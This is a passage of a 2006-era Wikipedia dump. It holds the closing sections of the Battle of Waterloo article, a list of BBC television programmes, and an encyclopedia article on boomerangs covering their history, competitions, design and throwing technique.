The Prussians were already engaging the Imperial Army's right flank when [[La Haye Sainte]] fell to French combined arms (infantry, artillery and cavalry), because the defending [[King's German Legion]] had run out of amunition in the early evening. The Prussians had driven Lobau out of Plancenoit, which was on the extreme (Allied) left of the battle field. Therefore Napoleon sent his 10 battalion strong Young Guard to beat the Prussians back. But after very hard fighting the Young Guard was beaten back. Napoleon sent 2 battalions of Old Guard and after ferocious fighting they beat the Prussians out. But the Prussians had not been forced away far enough. Approximately 30,000 Prussians attacked Plancenoit again. The place was defended by 20,000 Frenchmen in and around the village. The Old Guard and other supporting troops were able to hold on for about one hour before a massive Prussian counter-attack kicked them out after some bloody street fighting lasting more than a half hour. The last to flee was the Old Guard who defended the church and cemetery. The French casualties at the end of the day were horrible; for example the 1er Tirailleurs of the Young Guard had 92% losses.

[[Image:sunken-road-at-waterloo.jpg|thumb|right|350px|The Sunken Road at Waterloo, by Stanley Berkley.]]

With Wellington's centre exposed by the French taking [[La Haye Sainte]], Napoleon committed his last reserve, the undefeated [[Imperial Guard]]. After marching through a blizzard of shell and shrapnel, the already outnumbered 5 battalions of middle guard defeated the allied first line, including British, Brunswick and Nassau troops. Meanwhile elements of General von Ziethen's 1st Prussian Army Corps had finally arrived helping to relieve the pressure on Wellington's left flank, thus allowing Wellington to strengthen his shaken centre. The French guard battalions marched on, and the situation became critical. Chassé's Netherlands division was sent forward. Chassé sent forward his artillery to halt the French advance. Their fire took the victorious grenadiers in the flank. This still couldn't stop the Guard's advance, so Chassé ordered his first brigade to charge the French. 

Meanwhile, to the west, 1,500 British Guards under [[Peregrine Maitland|Maitland]] were lying down to protect themselves from the French artillery. They rose as one, and devastated the shocked Imperial Guard with volleys of fire at point-blank range. The French chasseurs deployed to answer the fire. After 10 minutes of exchanging musketry the outnumbered French began wavering. This was the sign for a bayonet charge. But then a fresh French chasseur battalion appeared on the scene. The British guard retired with the French in pursuit - though the French in their turn were attacked by fresh British troops of Adam's brigade. 

The Imperial Guard, for the first time in history, fell back in disarray and chaos. A ripple of panic passed through the French lines - &quot;La garde recule. Sauve qui peut!&quot; (&quot;The Guard retreats. Save yourself if you can!&quot;). Wellington, judging that the retreat by the Imperial Guard had unnerved all the French soldiers who saw it, stood up in the stirrups on ''Copenhagen'', his favourite horse, and waved his hat in the air, signalling a general advance. The long-suffering Anglo-Allied infantry rushed forward from the lines where they had been shelled all day, and threw themselves upon the retreating French.

After its unsuccessful attack on the Allied centre, the French Imperial Guard rallied to their reserves of three battalions, (some sources say four) just south of ''La Haye Sainte'' for a [[last stand]] against the British. A charge from General [[Frederick Adam|Adam]]'s Brigade and an element of the 5th Brigade (The Hanoverian Landwehr (Militia) Osnabruck Battalion), both in the second Anglo-allied division under Lieutenant General Sir [[Henry Clinton (Napoleonic Wars)|Henry Clinton]], threw them into a state of confusion; those which were left in semi-coherent units fought and retreated towards ''La Belle Alliance''. It was during this stand that Colonel [[Hugh Halkett]] took the surrender of General [[Cambronne]]. It was probably during the destruction of one of the retreating semi-coherent squares from the area around ''La Haye Sainte'' towards ''[[La Belle Alliance]]'' that the famous retort to a request to surrender was made '''&quot;La Garde meurt, elle ne se rend pas!&quot;''' &quot;''The Guard dies, it does not surrender!''&quot;{{ref|Cambronne}}.  

[[Image:Field of Waterloo - Project Gutenberg eBook 11921.jpg|thumbnail|300px|The Field at Waterloo, as depicted in the 1851 Illustrated London Reading Book]]

At about same time as the Imperial Guard was thrown back, the Prussians finally drove the French out of the village of [[Plancenoit]] and Zieten's Corps entered the gap between d'Erlon and Lobau, essentially taking the French position from the rear. 

The whole of the French front started to disintegrate under the general advance of the Anglo-allied army and the Prussians following the capture of Plancenoit. The last coherent French force consisted of two battalions of the Old Guard stationed around the inn called ''La Belle Alliance''. This was a final reserve and a personal bodyguard for Napoleon. For a time Napoleon hoped that if they held firm the French Army could rally behind them. But as the retreat turned into a rout, they were forced to form squares as protection against the leading elements of allied cavalry. They formed into two squares, one on either side of ''La Belle Alliance''. Until he was persuaded that the battle was lost and he should leave, Napoleon commanded the square which was formed on rising ground to the (Allied) right of the inn. The Prussians engaged the square to the left, and General Adam's Brigade charged the square on the right, forcing it to withdraw. As dusk fell both squares retreated away from the battlefield towards France in relatively good order but the French artillery, and everything else belonging to them, fell into the hands of the British and Prussians. The retreating Guards were surrounded by thousands of fleeing Frenchmen who were no longer part of any coherent unit. British and Allied cavalry harried the fleeing French until about 23:00 hours. The Prussians, led by [[August von Gneisenau|General von Gneisenau]], pursued them throughout the night.

== Conclusion ==
At around 21:00 Wellington and Blücher met at Napoleon's former headquarters ''La Belle Alliance'', signifying the end of the battle.
Waterloo cost the Anglo-allied forces around 15,000 dead and wounded, and the Prussians some 7000. Napoleon lost 25,000 dead and injured. 8000 of his troops were taken prisoner.

After the French defeat at Waterloo and the final battle of the Napoleonic Wars at the [[Battle of Wavre]], Napoleon was deposed and remained at large for some time in France before surrendering to the British. He was subsequently exiled to [[Saint Helena]], where he died in [[1821]].

==The battlefield today==
[[Image:Waterloo Lion.jpg|thumb|200px|Lion Monument at Waterloo, erected by the Dutch on the spot where it is believed the Prince of Orange was wounded. ]] 
The current terrain of the battlefield is very different from what it would have been in 1815.  In [[1820]], the Dutch King [[William I of the Netherlands|William I]] ordered the construction of a monument on the spot where it was believed his son, the [[William II of the Netherlands|Prince of Orange]], had been wounded.  A giant mound was constructed here, using 300,000 cubic meters of earth taken from other parts of the battlefield, including Wellington's sunken road.  Wellington, when visiting the site years later, allegedly complained &quot;they've spoiled my battlefield!&quot;

==Waterloo in popular culture==
* The phrase ''to meet one's Waterloo'' (or similar) has entered the English language as a word signifying a great test with a final and decisive outcome- usually a negative one, in recognition of Napoleon's defeat; e.g. [http://politics.guardian.co.uk/election2001/story/0,9029,506043,00.html], [http://www.dailymail.co.uk/pages/live/articles/sport/rugby.html?in_article_id=367609&amp;in_page_id=1780]. 
* &quot;The Adventures of Gerard&quot; (1903) by Sir [[Arthur Conan Doyle]] contains a chapter &quot;How the Brigadier Bore Himself at Waterloo&quot;, about his fictional hero Brigadier [[Etienne Gerard]]. The chapter consists of two short stories which were originally published separately. [[Project Gutenberg]]:[http://www.gutenberg.org/etext/1644 The Adventures of Gerard] ([http://www.gutenberg.org/etext/8623 Audio Book])
* &quot;Waterloo: Sharpe's Final Adventure Campaign&quot; is a novel by [[Bernard Cornwell]], which sets his fictional hero [[Richard Sharpe (fictional character)|Richard Sharpe]] at the battle on the staff of the non-fictional [[William II of the Netherlands|Prince of Orange]]. The book was later adapted for television by the [[ITV]] and starred [[Sean Bean]] as Sharpe.    
* ''[[Waterloo (movie)|Waterloo]]'' was an [[1970]] Italian-Russian film, directed by [[Sergei Bondarchuk]]. It was the story of the preliminary events and the battle, and is remembered for its lavish battle scenes.
* The band [[ABBA]] made a song titled ''[[Waterloo (English version)|Waterloo]]'' that won the [[Eurovision Song Contest]] in 1974.
* The famous quote attributed to Wellington (&quot;The battle of Waterloo was won on the playing fields of Eton&quot;) was certainly an invention; unlike his older brother, Wellington got poor grades at Eton; on one of his rare visits back there, the only athletic activities he could remember were skipping across a brook, and fisticuffs with a fellow student.
* In the video game [[Psychonauts]], [[Characters in Psychonauts#Fred Bonaparte|Fred Bonaparte]], an insane asylum employee and descendant of [[Napoleon I of France|Napoleon Bonaparte]], loses his sanity after continuously losing a game of &quot;Waterloo&quot; with a patient, and develops a split personality between himself and his forefather.
* In [[Blackadder]] Back and Forth, Lord Blackadder travels back in time and accidently kills Wellington before the battle of Waterloo; when he returns to the future England is full of French culture, so he time-travels once again to ensure that the Duke lives.
*Waterloo is a song by American Metal Band Iced Earth about the battle at Waterloo on the Album [[The Glorious Burden]], however it is only available on the 2 Disc Special Edition in America

== References ==

* Wellington's Dispatches [[June 19]] [[1815]]
* [[Les Misérables#Other threads|Les Misérables]] by [[Victor Hugo]]
* [[The Charterhouse of Parma]] by [[Stendhal]]
* David Hamilton-Williams, ''The Fall of Napoleon, the final betrayal'', Arms and Armour, London, 1994, 352 p
* David Hamilton-Williams, ''Waterloo New perspectives the Great Battle Reappraised'', Arms and Armour, London, 1993, 416 p

==Further reading==

* Campaigns of Napoleon by David G. Chandler
* Napoleonic Wars by Michael Glover
* Waterloo Lectures, Colonel Charles C. Chesney
* 1815, The Waterloo Campaign by Peter Hofschroer

==Notes==

#{{note|Start}} [http://www.wtj.com/archives/wellington/1815_06f.htm Wellington's Dispatches June 19th, 1815]
#{{note|Cambronne}}  The retort to a request to surrender may have been'''&quot;La Garde meurt, elle ne se rend pas!&quot;''' &quot;''The Guard dies, it does not surrender!''&quot; or the response may have been the more earthy &quot;Merde!&quot;, but Letters published in ''[[The Times]]'' in June [[1932]] record that Cambronne said neither, as he was already a prisoner, but that they may have been said by [[Claude-Etienne Michel|General Michel]] who was killed at Waterloo. [http://www.napoleon-series.org/research/miscellaneous/c_cambronne.html The Guard dies, it does not surrender. Cambronne surrenders, he does not die]

==External links==
{{commons|Category:Battle of Waterloo|Battle of Waterloo}}
* [http://www.napoleonseries.org/reference/bibliographic/1815sources.cfm Reference Library of Bibliographic Sources - German Waterloo Sources]
* [http://www.gutenberg.net/etext/135 Gutenberg: Les Miserables by Victor Hugo] [http://www.classicreader.com/read.php/sid.1/bookid.268/sec.71/ on line version in HTML]
* [http://news.mod.uk/news/press/news_press_notice.asp?newsItem_id=1782 British MOD &quot;On this day&quot; article]
* [http://home.iprimus.com.au/cpcook/indexLW.htm Eye witness accounts of Napoleonic warfare.]
* [http://hnn.us/roundup/comments/8630.html Waterloo's significance to the French and British - including proportions of soldiers by nation]
* [http://web2.airmail.net/napoleon/Waterloo_myths_2.html Waterloo - the German Victory]
* [http://web2.airmail.net/napoleon/Waterloo_Cowards.html Myths and Lies about the performance of Dutch and Belgian troops in 1815]
* [http://www.bbc.co.uk/history/war/trafalgar_waterloo/battle_waterloo_01.shtml BBC History - Waterloo]
* [http://web2.airmail.net/napoleon/WATERLOO_GUARD_NAPOLEON.htm Napoleon's Guard at Waterloo 1815]
* [http://www.news-medical.net/?id=6440 Battle of Waterloo could help doctors fight death from multiple organ failure]
* [http://www.napoleonic-literature.com/Waterloo_OB/Allied.htm Anglo-Allied Order of Battle for the campaign]
* [http://www.napoleonic-literature.com/Waterloo_OB/French.htm French Order of Battle for the campaign (in French)]
* [http://www.napoleonic-literature.com/Waterloo_OB/Prussian.htm Prussian Order of Battle for the campaign (in German)]

[[Category:Battles of the Napoleonic Wars|Waterloo]]
[[Category:1815]]

{{Link FA|eo}}

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  <page>
    <title>List of BBC television programming</title>
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      <comment>/* P */</comment>
      <text xml:space="preserve">An incomplete '''list of popular [[British Broadcasting Corporation|BBC]] produced shows''' and shows originally produced for BBC [[Television|TV]]:

{{compactTOC}} __NOTOC__

==0-9==
*''[[2point4 children]]''
*''[[8:15 from Manchester]]''

==A==
*''[[A Picture of Britain]]''
*''[[Absolute Power (comedy)|Absolute Power]]''
**Originally on [[BBC Radio 4]]
*''[[Absolutely Fabulous]]''
*''[[Ace Lightning]]''
*''[[Adam Adamant Lives!]]''
*''[[All About Me]]''
*''[['Allo 'Allo!]]''
*''[[Andy Pandy]]''
*''[[Angels (TV)|Angels]]''
*''[[Animal Hospital]]''
*''[[The Animals of Farthing Wood]]''
*''[[The Apprentice (UK)|The Apprentice]]''
*''[[Archangel (Harris novel)|Archangel]]''
*''[[Are You Being Served?]]''
*''[[Arena (television)|Arena]]''
*''[[Around the World in Eighty Treasures]]''
*''[[As Time Goes By]]''
*''[[The Ascent of Man]]''
*''[[Auf Wiedersehen, Pet]]''
**originally an [[ITV]] show from [[1983]] - [[1986]], revived by the BBC in [[2002]] - [[2004]]

==B==
*''[[Bagpuss]]''
*''[[Ballykissangel]]''
*''[[Band of Brothers]]''
*''[[Bargain Hunt]]''
*''[[BBC News]]''
*''[[BBC One O'Clock News]]''
*''[[BBC Six O'Clock News]]''
*''[[BBC Ten O'Clock News]]''
*''[[Bella and the Boys]]''
*''[[Belonging]]''
*''[[Between The Lines]]''
*''[[The Big Read]]''
*''[[The Flowerpot Men|Bill and Ben]]''
*''[[The Bigger Picture with Graham Norton]]''
*''[[Birds of a Feather]]''
*''[[Blackadder]]''
*''[[Blackpool (television)|Blackpool]]''
*''[[Blake's 7]]''
*''[[Bleak House (television)|Bleak House]]''
*''[[Blessed (television)|Blessed]]''
*''[[Blott on the Landscape]]''
*''[[Blue Peter]]''
*''[[The Blue Planet]]''
*''[[Bob the Builder]]''
*''[[Bottom (television)|Bottom]]''
*''[[Boys from the Blackstuff]]''
*''[[Breakfast]]''
*''[[The Brittas Empire]]''
*''[[Bugs (television programme)|Bugs]]''

==C==
*''[[Café Continental]]''
*''[[Cambridge Spies]]''
*''[[The Canterbury Tales]]''
*''[[Captain Pugwash]]''
*''[[Casanova (1971 television)|Casanova]]'' (1971)
*''[[Casanova (2005 television)|Casanova]]'' (2005)
*''[[Casualty (television)|Casualty]]''
*''[[Cathy Come Home]]''
*''[[Celebdaq]]''
*''[[Century Falls]]''
*''[[Challenge Anneka]]''
*''[[Changing Rooms]]''
*''[[Child of our Time]]''
*''[[The Chinese Detective]]''
*''[[Chucklevision]]''
*''[[Civilisation (television series)|Civilisation]]''
*''[[Clocking Off]]''
*''[[Coast]]''
*''[[Colditz (TV series)|Colditz]]''
*''[[Comedy Playhouse]]''
*''[[Countryfile]]''
*''[[Coupling (TV series)|Coupling]]''
*''[[Crackerjack]]''
*''[[Crimewatch UK]]
*''[[Cutting It]]''

==D==
*''[[Dad's Army]]''
*''[[Daily Politics]]''
*''[[Dark Season]]''
*''[[Dead Ringers (comedy)|Dead Ringers]]''
**Originally on [[BBC Radio 4]]
*''[[The Demon Headmaster]]''
*''[[Dick and Dom in da Bungalow]]''
*''[[Didn't They Do Well]]''
*''[[The Disorderly Room]]''
*''[[Doctor Who]]''
*''[[Doctors]]''
*''[[Doomwatch]]''

==E==
*''[[EastEnders]]''
*''[[Edge of Darkness]]''
*''[[Eldorado (soap opera)|Eldorado]]''
*''[[Essential Guide to Rocks]]''

==F==
*''[[Fame Academy]]''
*''[[The Fast Show]]''
*''[[Fawlty Towers]]''
*''[[Film 2006]]''
*''[[Flog It!]]''
*''[[The Flying Gardener]]''
*''[[Food and Drink]]''
*''[[For The Children]]''
*''[[French and Saunders]]''

==G==
*''[[Gardeners' World]]''
*''[[The Generation Game]]''
*''[[Gimme Gimme Gimme]]''
*''[[The Girl in the Café]]''
*''[[The Good Life]]''
*''[[Goodness Gracious Me]]''
**Originally on [[BBC Radio 4]]
*''[[Goodnight Sweetheart]]''
*''[[Grandstand]]''
*''[[Great Britons]]''
*''[[Ground Force]]''
*''[[The Grove Family]]''

==H==
*''[[Hancock's Half Hour]] / Hancock''
**Originally on BBC Radio
*''[[Harry Enfield]]'s Television Programme''
*''[[Have I Got News For You]]''
**Television version of [[BBC Radio 4]]'s ''[[News Quiz]]''
*''[[A History of Britain]]''
*''[[The Hitchhiker's Guide to the Galaxy]]''
**Originally on [[BBC Radio 4]]
*''[[Holby City]]''
*''[[Holiday (television)|Holiday]]''
*''[[Holidays In The Danger Zone]]''
*''[[Hollywood Science]]''
*''[[Homefront (BBC TV show)|Home Front]]''
*''[[Honey We're Killing The Kids]]
*''[[Hope and Glory (TV series)|Hope and Glory]]''
*''[[Horizon (television)|Horizon]]''
*''[[Hotel Babylon]]''
*''[[House Invaders]]''
*''[[House of Cards]]''
*''[[House of Tiny Tearaways]]''
*''[[Howards' Way]]''
*''[[Hustle (BBC)|Hustle]]''
*''[[The Human Body]]''
*''[[Human Instinct]]''

==I==

*''[[I, Claudius]]''
*''[[I'm Alan Partridge]]''
*''[[Imagine...]]''

==J==
*''[[Jackanory]]''
*''[[Jonathan Creek]]''
*''[[Jonny Briggs]]''
*''[[Journeys From The Centre Of The Earth]]''
*''[[Judge John Deed]]''
*''[[Juliet Bravo]]''

==K==
*''[[Kaleidoscope (television)|Kaleidoscope]]''
*''[[Keeping Up Appearances]]''

==L==
*''[[L.A. 7]]''
*''[[Last of the Summer Wine]]''
*''[[Later with Jools Holland]]''
*''[[The League of Gentlemen (television series)|The League of Gentlemen]]''
**Originally on BBC Radio 4 as ''On the Town with the League of Gentlemen''
*''[[The Life of Birds]]''
*''[[The Life of Mammals]]''
*''[[Life on Earth]]''
*''[[Life on Mars]]''
*''[[Life in the Freezer]]''
*''[[Linda Green]]''
*''[[Little Britain]]''
**Originally on [[BBC Radio 4]]
*''[[The Living Planet]]''
*''[[Look Around You]]''
*''[[Love Soup]]''

==M==
*''[[The Madhouse on Castle Street]]''
*''[[The Man With the Flower in His Mouth]]''
*''[[Manchild]]''
*''[[Mary Mungo &amp; Midge]]''
*''[[Masterchef]]''
*''[[Mastermind (television)|Mastermind]]''
*''[[Match of the Day]]''
*''[[Meet the Ancestors]]''
*''[[Men Behaving Badly]]''
**Two series for [[ITV]], then transferred to the BBC
*''[[Messiah (television)|Messiah]]''
*''[[Miami 7]]''
*''[[The Mighty Boosh]]''
*''[[Mock The Week]]''
*''[[Monarch of the Glen]]''
*''[[Monty Python's Flying Circus]]''
*''The [[Morecambe and Wise]] Show''
**Also on ITV at various times
*''[[My Family (television)|My Family]]''
*''[[My Hero]]''

==N==
*''[[The Naked Chef]]''
*''[[The National Lottery Jetset]]''
*''[[Nationwide (TV series)|Nationwide]]''
*''[[Never Mind The Buzzcocks]]''
*''[[Never the Twain]]''
*''[[Newsnight]]''
*''[[Newsround]]''
*''[[Nighty Night]]''
*''[[Nineteen Eighty-Four (TV programme)|Nineteen Eighty-Four]]''
*''[[Noddy]]''
*''[[Noel's House Party]]''
*''[[Not the Nine O'Clock News]]''

==O==
*''[[The Office]]''
*''[[One by One (television)|One by One]]''
*''[[One Foot in the Grave]]''
*''[[Only Fools and Horses]]''
*''[[Open All Hours]]''
*''[[Our Friends in the North]]''

==P==
*''[[Panorama (television)|Panorama]]''
*''[[Michael Parkinson|Parkinson]]''
*''[[Patrick Kielty]]''
*''[[Pennies From Heaven]]''
*''[[Picture Page]]''
*''[[Pinwright's Progress]]''
*''[[Play for Today]]''
*''[[Porridge (TV)|Porridge]]''
*''[[Posh Nosh]]''
*''[[Postman Pat]]''
*''[[The Power of Nightmares]]''
*''[[The Private Life of Plants]]''
*''[[Pulaski (TV)|Pulaski]]''

==Q==
*''[[Q (Spike Milligan series)|Q5]]'', ''Q6'', ''Q7'', ''Q8 / Kuwait'' and ''Q9''
*''[[The Quatermass Experiment]]''
*''[[Quatermass II]]''
*''[[Quatermass and the Pit]]''
*''[[QI]]''
*''[[A Question of Sport]]''
*''[[Question Time (television)|Question Time]]''

==R==
*''[[Ready Steady Cook]]''
*''[[Real Story]]''
*''[[Red Dwarf (television)|Red Dwarf]]''
*''[[Restoration (television)|Restoration]]''
*''[[Robot Wars]]''
*''[[Rome]]''
*''[[Rough Science]]''
*''[[The Royle Family]]''

==S==
*''[[Science Shack]]''
*''[[Sea of Souls]]''
*''[[See Hear]]''
*''[[Shoestring]]''
*''[[Silent Witness]]''
*''[[The Singing Detective]]''
*''[[The Sky at Night]]''
*''[[Some Mothers Do 'Ave 'Em]]''
*''[[Songs of Praise]]''
*''[[Spooks]]''
*''[[Sports Review]]''
*''[[Springwatch]]''
*''[[Starlight (television)|Starlight]]''
*''[[Steptoe and Son]]''
*''[[Strange]]''
*''[[Survivors]]''
*''[[Sykes]]''

==T==
*''[[Talking to a Stranger]]''
*''[[Telecrime]]''
*''[[Teletubbies]]''
*''[[The Telegoons]]''
*''[[The Thin Blue Line (television)|The Thin Blue Line]]''
*''[[They Think It's All Over]]''
*''[[Test the Nation]]''
*''[[Theatre 625]]''
*''[[Theatre Parade]]''
*''[[Thomas the Tank Engine and Friends]]''
*''[[The Thick of It]]''
*''[[Till Death Us Do Part]]''
*''[[Timewatch]]''
*''[[Tipping the Velvet]]''
*''[[Tomorrow's World]]''
*''[[Top Gear]]''
*''[[Top of the Pops]]''
*''[[To the Manor Born]]''
*''[[Trainer (TV series)|Trainer]]''
*''[[The Trials of Life]]''
*''[[The Two Ronnies]]''
*''[[Two Thousand Acres of Sky]]''

==U==
*''[[United!]]''
*''[[University Challenge]]''
**Originally shown on [[ITV]], still produced by [[Granada Television]]
*''[[Up Pompeii]]''

==V==
*''[[The Vicar of Dibley]]''
*''[[The Virgin Queen]]''

==W==
*''[[Waking the Dead (television series)|Waking the Dead]]''
*''[[Walking with Beasts]]''
*''[[Walking with Cavemen]]''
*''[[Walking with Dinosaurs]]''
**The ''Walking With...'' series were co-produced with the [[Discovery Channel]].
*''[[Watchdog (television)|Watchdog]]''
*''[[Watch with Mother]]''
*''[[The Way We Cooked]]''
*''[[The Weakest Link]]''
*''[[The Wednesday Play]]''
*''[[What Not To Wear]]''
*''[[What The Romans Did For Us]]''
*''[[What the Victorians Did for Us]]''
*''[[Who Do You Think You Are?]]''
*''[[Why Don't You?]]''
*''[[Wild In Your Garden]]''
*''[[Wildlife on One]]'' / ''Wildlife on Two''
*''[[Wogan]]''
*''[[The Wombles]]''
*''[[The Worst Week of my Life]]''

==Y==
*''[[Yes, Minister]]''
*''[[Yes, Prime Minister]]''
*''[[The Young Ones (television series)|The Young Ones]]''

==Z==
*''[[Z-Cars]]''
*''[[Zoo Quest]]''

== Special events ==
*[[Chelsea Flower Show]]
*[[Children in Need]]
*[[Comic Relief]]
*[[Edinburgh Festival]]
*[[European Championship]]
*[[Eurovision Song Contest]]
*[[Glastonbury Festival]]
*[[Olympic Games]]
*[[Football World Cup]]
*[[The Proms]]

== See also ==
*[[BBC television drama]]
*[[List of television programs]]
**List of [[animated series]]
**[[List of British TV shows remade for the American market]]
**List of [[children's television series]]
**[[List of comedies]]
**List of [[game show]]s
**[[List of science fiction television programs]]
**[[List of television commercials]]
**[[List of television spin-offs]]

{{Programs}}

[[Category:BBC television programmes|BBC television programmes]]
[[Category:Television series by network]]</text>
    </revision>
  </page>
  <page>
    <title>Boomerang</title>
    <id>4359</id>
    <revision>
      <id>41886307</id>
      <timestamp>2006-03-02T10:33:56Z</timestamp>
      <contributor>
        <ip>194.81.36.9</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{OtherUses|the device Boomerang}}

[[Image:Boomerang.jpg|thumb|A typical wooden returning boomerang]]
A '''boomerang''' is a curved, usually [[wood]]en, device which is thrown.  A boomerang spins as it flies through the air, and can travel long distances.  A boomerang is designed to, when thrown correctly, fly in a curved path to return to the person who threw it.

''''To boomerang'''' has entered the English language, meaning akin to 'backfire' as in: 'this plan could very well boomerang on us'. This term has also been used to signify young adults who temporarily return home to live with their parents after several years away in a job or college, often for financial reasons.

==History==

Boomerang-like devices, including ''hunting sticks'', have been used all over the world for [[hunting]], [[religion|religious]] and [[recreation]]al activities. Their origin is still not fully clear. Research has shown that ancient tribes in [[Europe]] used special throwing axes. Also, in ancient [[Egypt]] a special type of stick was exclusively used by the [[pharaoh]]s for hunting birds.  However, the world famous &quot;country of the boomerang&quot; is [[Australia]], where the [[Indigenous Australians|Australian Aborigine]]s have used both boomerangs and hunting sticks for thousands of years. The name of the boomerang comes from the [[Indigenous Australians|Indigenous Australian]] [[Turuwal]] tribe of [[Indigenous Australians|Aborigine]]s who lived south of [[Sydney, Australia]].

Note that the word &quot;boomerang&quot; automatically implies it is returning; a hunting, or throwing, stick (called a &quot;kylie&quot; by boomerang enthusiasts), is a different thing, and the two terms should not be used interchangeably. There is little to no evidence that returning boomerangs were ever used as hunting tools.

Today, boomerangs are most often used as sporting items. There are different types of throwing contests: accuracy of return; aussie round; trick catch; maximum time aloft; fast catch; and endurance (See below).  The modern sport boomerang (often referred to as a 'boom' or 'rang', is made of [[Finland|Finnish]] hardwood [[plywood]], [[hardwood]] [[plastic]] or [[composite material]]s and comes in many different shapes and colors. Most sport boomerangs typically weigh less than 100 [[gram]]s, with MTA boomerangs (boomerangs used for the maximum time aloft event) often under 25 grams.

==Competitions and Records==

In international competition, a '''world cup''' is held every second year, with teams from [[Germany]] and the [[United States]] dominating international competition. The individual World Champion title was won in 2000, 2002 and 2004 by Swiss thrower Manuel Schütz.

=== Events ===

In the U.S., most competitions are comprised of six standard events as follows:
     
'''Accuracy:'''  Boomerangs are thrown from the center of a bullseye and points are awarded based on where they land.  The scores from either five or ten throws are then added.

'''Aussie Round:'''  Boomerangs are thrown from the center of a bullseye and points are awarded both for where they are caught within the bullseye and for how far they travel (up to 50 meters).  The scores from five throws are added.

'''MTA:'''  In MTA, or Maximum Time Aloft, boomerangs are thrown and must be caught within a 100 meter radius circle.  Generally, times are added from the best three of five throws.

'''Trick Catch:'''  A series of progressively difficult trick catches is made with one boomerang, then with two simultaneously.

'''Fast Catch:'''  Five consecutive throws and catches are made from the center of the bullseye in the shortest amount of time possible.

'''Endurance:'''  As many consecutive throws and catches are made from the center of the bullseye as possible within five minutes.

Other events are possible such as long distance, GLORP (similar to basketball's HORSE), or juggling among others.

=== World Records ===

'''Accuracy:'''  Thomas Stehrenberger of Switzerland in 2001 with 50 +18 points.

'''Aussie Round:'''  Fridolin Frost of Germany in 2005 with 96 points.

'''MTA:'''  Eric Darnell of the United States in 1997 with 1'44.87&quot;.

'''Trick Catch:'''  Manuel Schütz of Switzerland in 2004 with 390 points.

'''Fast Catch:'''  Adam Ruhf of the United States in 1996 with 14.60&quot;.

'''Endurance:'''  Manuel Schütz of Switzerland in 2005 with 81 catches.

'''Long Distance:'''  Manuel Schütz of Switzerland in 1999 with 238 meters.

'''Smallest Boomerang:'''  Sadir Kattan of Australia in 1997 with 48 mm [1.8 in] long and 45 mm [1.77 in] wide.

==Design==

[[Image:Boomerangs - melbourne show 2005.jpg|thumb|250px|Boomerangs for sale at the 2005 Melbourne Show]]

A returning boomerang is a [[propeller]]. Though it is not a requirement that the boomerang be in its traditional shape, it is usually flat.  A falling boomerang starts spinning and most then fall in a spiral.
When the boomerang is thrown with high spin, the [[wing]]s produce [[Lift (force)|lift]].
Larger boomerangs are used in hunting, thus they drop on the ground after striking the target.  Smaller ones are use in sport, and are the only boomerangs that return to the thrower. No one would think a spinning object flies a straight line, neither does the boomerang, it flies a turn
or to be clearly: It flies on a circle. So it naturally returns to its starting point unless all spin is eaten up.
Now in more detail: 

Returning boomerangs consist of two or more arms or [[wing]]s, connected at an angle.  Each wing is shaped as an [[airfoil]], air travels faster over one surface of an airfoil than the other, as it follows the longer path, thus creating [[Lift (force)|lift]], along what is roughly a plane which intersects the airfoil at a near right angle along the long axis of the wing.  

These wings are set so that the lift created by each wing opposes the lift of the other, but at an angle such that the flight pattern is constantly shifted as the forces of lift, drag, speed, [[rotational inertia]] etc. 'attempt' to reach equilibrium, see [[Boomerang engineer]]. 

This is what makes the boomerang 'return gracefully to the hurler, fluttering to a stop in his hand'... when thrown correctly.  This is also what makes the boomerang 'rocket straight up into the air before plunging to its shattered doom'... when thrown incorrectly. With the exception of long-distance boomerangs, they should not be thrown sidearm or like a frisbee, but rather almost vertically.

Fast Catch boomerangs usually have three symmetrical wings (in the planform view), whereas a Long Distance boomerang is most often shaped very similar to a question mark. Maximum Time Aloft boomerangs have one wing considerably longer than the other. This feature, along with carefully executed bends and twists in the wings, help to set up an 'auto-rotation' effect to maximize the boomerang's hover-time in descending from its highest point in the flight.

Prominent boomerang designer/builders include [[Bob Burwell]] and Tony Butz from Australia, [[Rusty Harding]] from the USA, Jerri Leu from Brazil and others.

== Basic Throwing Instructions ==

* A right-handed boomerang circles towards the left, a left-handed boomerang circles towards the right. Most sport boomerangs are in the range of 2.5 to about 4 ounces. the range on most of these is between 25 - 40 yards (or meters, it is not so precise)

* A right or left handed boomerang can be thrown with either hand, but the flight direction will depend upon the boomerang, not the thrower.

* Grasp one wing of the boomerang nearly vertically so that the other wing points forward and the flat side is away from you. The other way works also, but this way is usually easier to learn. Holding the tip by just end between thumb and one or two fingers, launch the boomerang forward quickly while trying more for spin than for very much force.

* The boomerang should flatten out on its own and arc around, sometimes coming to rest a little in front of the thrower or behind the thrower, but ideally should hover in gently allowing the thrower to catch it as a sort of &quot;boomerang sandwich&quot; between the thrower's hands.

* One should not throw a returning boomerang level, like a flying disc. The boomerang will turn in the direction of the top of its airfoils, so if that direction happens to be up rather than to the side it may fly high enough that the landing causes damage to the boomerang or whatever it lands on.

==Trivia==

* There are many injected plastic molds in the world but the most famous and used are the Tri-Fly from Eric Darnell (USA) and the LMI&amp;FOX Models (France).

* The boomerang sport in Brazil is growing fast with many news: special plywood created for boomerangs (BWoods), Kellogg's company inserting five million boomerangs in cereal boxes, and the First Pan-American Championship set for August 2005. 

* The most famous seller in the world is &quot;The Boomerang Man&quot;, Richard Harrison. Since 1975 he has introduced thousands of new throwers to the sport.

* The next World Championship will be held in Asahikawa, Japan, in 2006.

* While fiercely competitive, almost all throwers are amateurs in the sense that they do not receive money as prizes.

* The International Federation of Boomerang Associations (IFBA) was officially launched in 2004 at the World Championships in France.

* Link from the Legend of Zelda series also uses a boomerang. In the 2D games, it crossed half or the full screen before returning. In the 3D games, it can be aimed towards enemies and objects. It is refered to as the &quot;Gale Boomerang&quot; in the upcoming Zelda title (Twilight Princess). Both the Gale Boomerang and the one from The Wind Waker can lock onto multiple targets at once. Some of the 2D titles also featured the &quot;magic boomerang&quot; which could be steered after being thrown.

* The long distance boomerang world record is 238 m, held by Manuel Schütz of Switzerland. The boomerang probably travelled more than 500 m before returning to its starting point!

* [[Sango]], a fictional character from the [[manga]] and [[anime]] series [[Inuyasha]] uses a boomerang that's length is about the same as her height.

* The [[GAT-X105_Strike_Gundam|Strike Gundam]], [[ZGMF-X09A_Justice_Gundam|Justice Gundam]], and [[ZGMF-X56S Impulse Gundam|Impulse Gundam]] from the [[anime]] series [[Gundam Seed]] and its sequel [[Gundam Seed Destiny]] are all equipped with beam boomerangs.

